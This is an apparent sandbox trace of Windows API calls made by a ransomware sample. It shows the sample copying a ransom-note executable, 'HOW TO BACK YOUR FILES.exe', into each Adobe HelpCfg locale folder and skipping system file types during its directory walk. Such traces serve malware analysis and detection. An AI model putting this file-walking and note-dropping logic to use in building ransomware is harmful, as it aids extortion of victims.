	[0056.632] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fi_fi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.637] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.637] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39d4b330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39d4b330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.637] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.637] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.637] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.637] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.637] lstrlenW (lpString="Apollon865") returned 10
	[0056.637] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.637] lstrlenW (lpString=".dll") returned 4
	[0056.637] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.637] lstrlenW (lpString=".lnk") returned 4
	[0056.637] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.637] lstrlenW (lpString=".ini") returned 4
	[0056.637] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.637] lstrlenW (lpString=".sys") returned 4
	[0056.637] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.637] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.638] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES"
	[0056.638] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ad58 | out: hHeap=0x580000) returned 1
	[0056.638] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0056.638] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES") returned 55
	[0056.638] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES"
	[0056.638] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.638] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\eu_es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.646] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.647] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39d4b330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39d4b330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.647] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.647] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.647] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.647] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.647] lstrlenW (lpString="Apollon865") returned 10
	[0056.647] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.647] lstrlenW (lpString=".dll") returned 4
	[0056.647] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.647] lstrlenW (lpString=".lnk") returned 4
	[0056.647] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.647] lstrlenW (lpString=".ini") returned 4
	[0056.647] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.647] lstrlenW (lpString=".sys") returned 4
	[0056.647] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.647] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.647] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES"
	[0056.647] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ace0 | out: hHeap=0x580000) returned 1
	[0056.647] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0056.647] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES") returned 55
	[0056.647] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES"
	[0056.647] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.648] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\es_es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.657] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.658] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39d71490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39d71490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.658] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.658] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.658] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.658] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.658] lstrlenW (lpString="Apollon865") returned 10
	[0056.658] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.658] lstrlenW (lpString=".dll") returned 4
	[0056.658] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.658] lstrlenW (lpString=".lnk") returned 4
	[0056.658] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.658] lstrlenW (lpString=".ini") returned 4
	[0056.658] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.658] lstrlenW (lpString=".sys") returned 4
	[0056.658] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.658] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.658] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US"
	[0056.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ac68 | out: hHeap=0x580000) returned 1
	[0056.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0056.658] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US") returned 55
	[0056.658] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US"
	[0056.658] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.658] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\en_us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.664] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.664] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39d975f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39d975f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.664] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.664] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.664] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.664] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.664] lstrlenW (lpString="Apollon865") returned 10
	[0056.664] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.664] lstrlenW (lpString=".dll") returned 4
	[0056.664] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.664] lstrlenW (lpString=".lnk") returned 4
	[0056.664] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.664] lstrlenW (lpString=".ini") returned 4
	[0056.664] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.664] lstrlenW (lpString=".sys") returned 4
	[0056.664] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.664] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.664] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE"
	[0056.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0056.665] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0056.665] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE") returned 55
	[0056.665] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE"
	[0056.665] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.665] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\de_de\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.668] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.668] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39d975f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39d975f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.668] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.668] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.668] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.668] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.668] lstrlenW (lpString="Apollon865") returned 10
	[0056.669] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.669] lstrlenW (lpString=".dll") returned 4
	[0056.669] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.669] lstrlenW (lpString=".lnk") returned 4
	[0056.669] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.669] lstrlenW (lpString=".ini") returned 4
	[0056.669] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.669] lstrlenW (lpString=".sys") returned 4
	[0056.669] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.669] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.669] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK"
	[0056.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0056.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0056.669] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK") returned 55
	[0056.669] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK"
	[0056.669] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.669] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\da_dk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.673] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.673] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39d975f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39d975f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.673] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.673] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.673] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.673] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.673] lstrlenW (lpString="Apollon865") returned 10
	[0056.673] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.673] lstrlenW (lpString=".dll") returned 4
	[0056.673] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.673] lstrlenW (lpString=".lnk") returned 4
	[0056.673] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.673] lstrlenW (lpString=".ini") returned 4
	[0056.673] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.673] lstrlenW (lpString=".sys") returned 4
	[0056.673] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.673] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.673] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ"
	[0056.673] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0056.673] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0056.674] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ") returned 55
	[0056.674] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ"
	[0056.674] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.674] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\cs_cz\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.678] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.678] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39d975f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39d975f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.678] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.678] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.678] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.678] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.678] lstrlenW (lpString="Apollon865") returned 10
	[0056.678] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.678] lstrlenW (lpString=".dll") returned 4
	[0056.678] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.678] lstrlenW (lpString=".lnk") returned 4
	[0056.678] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.678] lstrlenW (lpString=".ini") returned 4
	[0056.678] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.678] lstrlenW (lpString=".sys") returned 4
	[0056.678] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.678] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.678] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES"
	[0056.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0056.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0056.678] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES") returned 55
	[0056.678] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES"
	[0056.678] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.679] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ca_es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.682] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.682] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39dbd750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39dbd750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.682] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.683] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.683] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Reader_10.0.helpcfg" | out: lpString1="Reader_10.0.helpcfg") returned="Reader_10.0.helpcfg"
	[0056.683] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.683] lstrlenW (lpString="Apollon865") returned 10
	[0056.683] lstrcmpiW (lpString1=".0.helpcfg", lpString2="Apollon865") returned -1
	[0056.683] lstrlenW (lpString=".dll") returned 4
	[0056.683] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".dll") returned 1
	[0056.683] lstrlenW (lpString=".lnk") returned 4
	[0056.683] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".lnk") returned 1
	[0056.683] lstrlenW (lpString=".ini") returned 4
	[0056.683] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".ini") returned 1
	[0056.683] lstrlenW (lpString=".sys") returned 4
	[0056.683] lstrcmpiW (lpString1="Reader_10.0.helpcfg", lpString2=".sys") returned 1
	[0056.683] lstrlenW (lpString="Reader_10.0.helpcfg") returned 19
	[0056.683] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM"
	[0056.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0056.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0056.683] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned 45
	[0056.683] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM"
	[0056.683] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
